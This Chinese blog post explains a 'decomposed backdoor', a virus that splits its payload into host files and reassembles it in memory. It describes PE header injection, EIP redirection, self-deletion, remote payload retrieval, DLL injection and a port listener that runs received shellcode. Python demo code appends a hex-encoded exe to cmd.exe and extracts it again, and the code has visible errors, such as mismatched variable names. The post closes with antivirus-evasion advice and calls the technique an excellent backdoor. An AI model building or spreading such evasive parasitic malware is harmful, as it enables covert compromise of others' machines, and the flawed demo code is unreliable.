为了寻找你,我搬进了鸟的眼睛,时常盯着路过的风,也忘了听猎人的枪声。


0x00 开篇

安全技术存在的价值在于对抗的较量,在攻与防中寻求突破一直是技术提升的保障。

首先,在开始介绍之前,我们需要了解一下分解型后门。

分解型后门:分解型后门也称之为分解病毒,这是一种可以寄生在任何文件里的一段数据,它本身不是病毒,不具有危害性,但当它进行代码整合时,就成为了具有危害性的病毒或木马程序,缘由它自我分解和组合能力和云层的拼接类似,所以名为分解型后门。

0x01分解型后门原理

当病毒主程序在本地机器上运行时,主程序把病毒核心文件数据分解到任何文件里,然后执行PE头注入,源文件头EIP指向病毒执行代码地址,当任意被感染的文件里存在病毒主程序代码时,开始执行病毒数据组合,促发病毒代码。

感染文件的基本步骤:
​ 1.判断目标文件开始的两个字节是否为“MZ”。
​ 2.判断PE文件标记“PE”。
​ 3.判断感染标记,如果已被感染过则跳出继续执行程序,休眠2秒,否则进行感染。
​ 4.对标记为PE文件的进行PE头注入感染。
​ 5.主程序对相关病毒核心代码进行分解附加到任何文件中,标志位感染标号。
​ 6.主程序任务完成,删除自身,病毒等待触发。

病毒促发的基本步骤:

1.病毒促发

2.开始组合代码

3.执行病毒

以下为病毒促发后执行流程图:

0x03分解型后门特点

1.不在磁盘上存在任何文件,以寄生为主。

2.病毒使用dll注入技术。

3.只在内存中执行,不产生文件。

4.接收病毒数据方式多样性。

5.不产生任何进程,依附寄生程序。

6.变种简单,编写灵活。

0x04分解型后门利用场景

1.远程利用

(1)病毒主文件负责请求外部服务器数据到本机,并把相关数据存储在变量缓冲区中,当下载完毕后,从内存变量中读取数据,附加到任意文件中,注入病毒loader代码到PE文件,删除自身。

(2)本地连接远程服务器,远程服务器通过发送数据到本地,本地把相关数据存储在变量缓冲区中,当接收完毕后,从内存变量中读取数据,附加到任意文件中,注入病毒loader代码到PE文件,删除自身。

(3)本地连接远程服务器,远程服务器通过发送数据到本地,本地把相关数据进行分段存储,当接收到感染指令的时候,对病毒进行组装并加载进内存,对本地进行感染,对外进行感染,否则进行潜伏。

(4)本地连接远程Web服务器,读取远程Web服务器网页上的数据文本,本地把相关数据进行分段存储,注入病毒loader代码到PE文件,删除自身。

2.本地使用

本地执行病毒主程序时,开始注入PE文件,修改EIP指向,分解病毒程序,删除自身。

3.后门使用

本地执行病毒主程序时,开始注入PE文件,修改EIP指向,分解病毒程序,删除自身。

当病毒被激活时,主动或者被动监听端口,等待接收Shellcode并执行命令。

0x05分解型后门简单原理演示

病毒程序:一个弹MessageBox的病毒演示程序。

感染程序:模拟感染cmd.exe

这里就不演示病毒loader和dll内存注入了,就简单演示病毒促发后怎么组合代码,为了易懂,我们用python来写代码。

我们把病毒程序(MessageBox.exe)以十六进制读取出来,保存为messagebox.txt。

读取代码

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import os
import sys

def payload(files):
    shellcode = ""
    ctr = 1
    maxlen = 15 #to create rows
    try:
        for b in open(files, "rb").read():
            shellcode +=b.encode("hex")
            if ctr == maxlen:
                ctr = 0
            ctr += 1
        print "Code length: " + str(len(shellcode))
        return shellcode
    except:
        print "转换失败,请检查!"

f = open('messagebox.txt','w')
files = "messagebox.exe" 
a = payload(files)
f.write(a)
f.close()

然后进行代码分解追加代码到文件中,这里代码少,不做分解。

然后查看数据,病毒数据已全部分解注入到目标程序了,并且程序可正常运行。

分解注入代码

f1 = open('cmd.exe','a+')
F2= open('messagebox.txt','r')
cmd_data = f1.read()
mess_data = f2.read()
f1.write(mess_data)
f1.close()
F2.close()

下面就是从文件中读取数据进行代码重组了

首先,我们应该知道病毒写入文件的大小,读取标记(不做演示),组合数据写进内存(不做演示)。

读取病毒数据代码

c = open('messagebox.txt','r')
r = c.read()
print len(r)

s = open('cmd.exe','rb')
b = s.read()
bb = b[-31522:]
cb = bb.decode("hex")
f = open('mess.exe','wb')
f.write(cb)

执行mess.exe程序(实际促发中,存储介子不会产生此程序),可以看到,程序被重新组合出来,并且能成功运行

0x06 结束

本篇只简单对分解型后门进行了一个科普,在现实环境中,往往在我们向重要的PE文件里写入数据的时候,会被杀毒软件盯上,所以向不是系统的相关文件里面写入病毒loader能够减少被杀的风险。分解型后门应用可以很广,编写思路灵活,所以变种相当容易,被查杀的风险很低,不过分解型后门用来做后门是相当不错的。

源链接

Hacking more

...